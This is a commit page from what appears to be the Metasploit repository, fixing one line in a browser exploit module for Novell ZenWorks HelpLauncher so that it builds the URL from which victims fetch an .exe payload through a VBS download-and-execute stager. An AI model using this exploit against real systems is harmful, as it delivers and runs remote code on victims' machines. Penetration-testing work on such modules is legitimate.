Skip to content

Commit a12d124

Browse files
committed
Fix zenworks_helplauncher_exec datastore
1 parent 148ffaf commit a12d124

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/browser/zenworks_helplauncher_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -130,7 +130,7 @@ def on_request_uri(cli, request)
130130

131131
# Payload's URL
132132
payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
133-
payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"
133+
payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"
134134

135135
# Create the stager (download + execute payload)
136136
stager = build_vbs(payload_src)

0 commit comments

Comments
 (0)